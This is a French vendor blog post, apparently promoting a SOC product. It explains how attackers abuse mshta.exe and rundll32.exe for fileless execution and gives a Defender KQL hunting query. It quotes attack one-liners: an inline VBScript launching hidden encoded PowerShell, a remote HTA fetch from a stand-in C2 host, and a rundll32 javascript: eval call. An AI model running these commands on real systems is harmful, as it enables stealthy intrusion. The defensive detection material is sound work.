Dans le paysage moderne des cybermenaces, les attaquants privilégient la discrétion absolue en exploitant les binaires légitimes du système d'exploitation Windows : c'est le paradigme Living off the Land (LOLBins). Parmi ces utilitaires natifs, mshta.exe (Microsoft HTML Application Host) et rundll32.exe constituent deux des vecteurs d'exécution sans fichier (fileless) les plus exploités par des groupes APT et des ransomwares comme Qakbot ou AsyncRAT. En détournant ces processus de confiance signés numériquement par Microsoft, les opérateurs contournent aisément les stratégies d'AppLocker laxistes et exécutent du code arbitraire sans jamais déposer de binaire exécutable portable (PE) sur le disque de la machine compromise.
Anatomie de la technique MITRE ATT&CK T1059.007
La puissance d'évasion de mshta.exe réside dans sa capacité intrinsèque à instancier le moteur de script Windows (VBScript, JScript) directement depuis la ligne de commande ou via une ressource distante :
- Exécution inline de scripts : L'attaquant injecte une commande telle que
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -enc ..."",0:close"). Le script s'exécute dans l'espace mémoire de Mshta sans création d'artefact.htasur le système de fichiers. - Téléchargement distant furtif : L'appel direct à une URL (
mshta http://c2.evil.com/payload.hta) télécharge et interprète à la volée une application HTML contenant des balises de script malveillantes, contournant le proxy applicatif standard. - Détournement de rundll32.exe : Combiné au protocole
javascript:,rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval(...)permet d'exécuter du JavaScript sans instancier de navigateur interactif.
L'angle mort natif de la détection sur endpoint
Les contrôles antiviraux traditionnels se heurtent à un angle mort critique : le binaire invoqué est un fichier système critique et légitime, localisé dans C:\Windows\System32\. Si la surveillance comportementale de l'EDR n'analyse pas en profondeur la sémantique de la ligne de commande (command-line auditing) ainsi que l'arborescence des processus parents (ex: un processus Word ou Outlook frayant un mshta.exe), l'intrusion traverse les défenses périmétriques sans déclencher d'alerte bloquante.
Chasse aux menaces (Advanced Hunting KQL)
La détection proactive requiert d'interroger la table DeviceProcessEvents dans Defender for Endpoint afin d'isoler les arguments anormaux, de décoder les chaînes Base64 et d'extraire les URI C2 ciblées :
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("mshta.exe", "rundll32.exe")
| where ProcessCommandLine has_any ("javascript:", "vbscript:", "about:", "http://", "https://")
or ProcessCommandLine matches regex @"(?i)\b(wscript\.shell|scripting\.filesystemobject|eval)\b"
| extend TargetURI = extract(@"(?i)(?:https?|ftp)://[^\s""']+", 0, ProcessCommandLine)
| extend EncodedPayload = extract(@"(?i)(?:-enc|-encodedcommand|base64)[\s:=]+([A-Za-z0-9+/=]{20,})", 1, ProcessCommandLine)
| extend DecodedScript = iff(isnotempty(EncodedPayload), base64_decode_tostring(EncodedPayload), "N/A")
| extend ExecutionPattern = case(
ProcessCommandLine has "javascript:", "Inline JavaScript",
ProcessCommandLine has "vbscript:", "Inline VBScript",
isnotempty(TargetURI), "Remote Payload Download",
"Suspected API/ADS Call")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ExecutionPattern, TargetURI, DecodedScript, ProcessCommandLineRemédiation SOAR et Investigation avec Akuity SOC
Face à une exécution malveillante confirmée, chaque seconde d'hésitation permet au payload d'établir un canal de persistance. Akuity SOC orchestre la réponse sans délai :
- Résolution native du triage : L'assistant IA in-app d'Akuity SOC décode et analyse le payload Base64, éliminant tout recours à des décodeurs web publics non souverains risquant de fuiter des données sensibles.
- Riposte SOAR 1-clic : Exécution immédiate des playbooks
isolateDevice()etblockIocOnTenant()depuis l'inventaire des éléments de preuve pour couper les flux C2 et figer le processus en mémoire vive avant toute injection latérale. - Gouvernance Zero-Trust : Un challenge MFA AAL2 est obligatoire avant chaque action de remédiation, assorti d'une consignation immuable dans le journal d'audit certifié NIS 2 et SOC 2 Type II.
Déployez notre orchestration SOAR sans agent connectée à Defender for Endpoint pour intercepter les attaques fileless en temps réel.
Démarrer votre essai gratuit de 14 jours (sans carte bancaire) →Mini-FAQ Technique
Pourquoi ne pas bloquer complètement mshta.exe et rundll32.exe via AppLocker ?
Bien que recommandé dans un profil de durcissement extrême, le blocage total de rundll32.exe brise de multiples fonctionnalités natives de Windows (assistants d'impression, dialogues du panneau de configuration). Il est préférable d'imposer des règles WDAC (App Control for Business) bloquant l'exécution de scripts non signés via ces moteurs ou de restreindre leurs connexions réseau sortantes.
Comment mshta.exe parvient-il à communiquer sur le réseau sans déclencher le pare-feu local ?
mshta.exe s'appuie sur la pile réseau standard de Windows (WinINet / Urlmon). Si la politique du pare-feu Windows autorise le trafic sortant HTTP/HTTPS pour les exécutables système sans restriction d'adresse IP distante, la requête vers le C2 est traitée comme un flux web sortant classique.